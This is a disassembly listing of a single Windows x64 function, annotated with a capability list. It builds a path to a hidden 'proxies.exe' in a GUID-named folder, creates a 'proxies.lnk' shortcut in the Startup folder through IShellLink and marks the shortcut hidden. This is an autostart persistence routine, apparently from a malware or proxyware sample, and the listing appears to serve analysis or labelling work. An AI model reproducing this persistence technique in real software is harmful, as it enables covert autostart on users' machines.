Function at 0x1400030a0
Capabilities:
Check if file exists
Create shortcut via ishelllink
Get common file path
Get file attributes
Get startup folder
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x458]
sub rsp, 0x550
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x140085700]
xor rax, rsp
mov qword [rbp + 0x420], rax
xor r14d, r14d
lea rdx, [0x14007b21c]
lea rcx, [rbp - 0x40]
call fcn.140004d50
nop
lea rax, [rbp]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WLDAP32.dll_Ordinal_26
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140003410
lea rdx, [rbp]
lea rcx, [rbp - 0x70]
call fcn.140004d50
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 1
jb 0x140003158
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x14000314b
mov rax, qword [rcx]
mov word [rax + rdx*2], 0x5c
mov word [rax + r8*2], r14w
jmp 0x140003175
mov qword [rsp + 0x20], 1
lea r9, [0x14007b218]
mov edx, 1
call fcn.140009690
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 7
mov word [rcx], r14w
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, rdi
cmp rax, 0x26
jb 0x1400031f8
lea rax, [rdi + 0x26]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 7
cmova rbx, qword [rsp + 0x50]
lea rcx, [rbx + rdi*2]
mov r8d, Ordinal_79
lea rdx, str.91F36FB1_6F6D_4708_8B33_0F43107FD4D6
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x4c], r14w
lea rax, [rsp + 0x50]
jmp 0x140003217
mov qword [rsp + 0x20], Ordinal_46
lea r9, str.91F36FB1_6F6D_4708_8B33_0F43107FD4D6
mov edx, Ordinal_41
lea rcx, [rsp + 0x50]
call fcn.140009690
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rdi
cmp rax, 0xc
jb 0x14000329a
lea rax, [rdi + 0xc]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 7
cmova rbx, qword [rsp + 0x30]
lea rcx, [rbx + rdi*2]
mov r8d, Ordinal_26
lea rdx, str.proxies.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x18], r14w
lea rax, [rsp + 0x30]
jmp 0x1400032b9
mov qword [rsp + 0x20], send
lea r9, str.proxies.exe
mov edx, recv
lea rcx, [rsp + 0x30]
call fcn.140009690
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140003313
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000330e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000330e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
movups xmmword [rbp - 0x40], xmm6
movups xmmword [rbp - 0x30], xmm7
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140003360
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000335b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000335b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
movdqa xmm0, xmmword [0x14007b320]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400033c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
movdqa xmm0, xmmword [0x14007b320]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r14w
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140003410
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000340b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000340b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140003448
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rdx, qword [rbp - 0x40]
lea rcx, str.__file_not_found:__ls_n
call fcn.140001010
jmp 0x14000371d
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14000371d
lea rdx, [rbp + 0x210]
lea rcx, [rsp + 0x70]
call fcn.140004d50
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x1400034c8
lea rsi, [rcx + 0xc]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x1400034ab
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, Ordinal_26
lea rdx, str.proxies.lnk
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rsi*2], r14w
jmp 0x1400034e8
mov qword [rsp + 0x20], send
lea r9, str.proxies.lnk
mov edx, recv
mov rcx, rbx
call fcn.140009690
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14000355a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003555
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003555
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
movdqa xmm0, xmmword [0x14007b320]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r14w
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r14
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
lea r9, [0x14007b0d0]
xor edx, edx
mov r8d, 1
lea rcx, [0x14007b0f0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov ebx, eax
test eax, eax
js 0x140003673
mov rcx, qword [rbp - 0x50]
mov rax, qword [rcx]
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rdx, qword [rbp - 0x40]
call qword [rax + 0xa0]
mov rcx, qword [rbp - 0x50]
mov rax, qword [rcx]
mov rdi, qword [rax + 0x38]
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov edx, 0x4a8
mov eax, dword [rdx + rbx]
mov esi, 0x6b8
test al, 1
jne 0x140003611
or eax, 1
mov dword [rdx + rbx], eax
mov byte [rbx + rsi + 2], 1
mov word [rbx + rsi], WSASetLastError
lea rcx, [0x14006a1a0]
call fcn.140067bd0
nop
mov rcx, qword [rbp - 0x50]
lea rdx, [rsi + rbx]
cmp byte [rdx + 2], 0
je 0x140003623
xor word [rdx], 0x6b
mov byte [rdx + 2], 0
call rdi
mov rcx, qword [rbp - 0x50]
mov rax, qword [rcx]
lea r8, [rbp - 0x48]
lea rdx, [0x14007b0e0]
call qword [rax]
mov ebx, eax
test eax, eax
js 0x140003669
mov rcx, qword [rbp - 0x48]
mov rax, qword [rcx]
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8d, 1
call qword [rax + Ordinal_50]
mov ebx, eax
mov rcx, qword [rbp - 0x48]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp - 0x50]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x1400036da
test ebx, ebx
js 0x1400036da
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1400036d6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003711
call fcn.140067af4
mov bl, 1
jmp 0x14000371f
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000371d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003718
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003718
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
xor bl, bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140003762
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000375d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000375d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
movzx eax, bl
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.140067730
lea r11, [rsp + 0x550]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret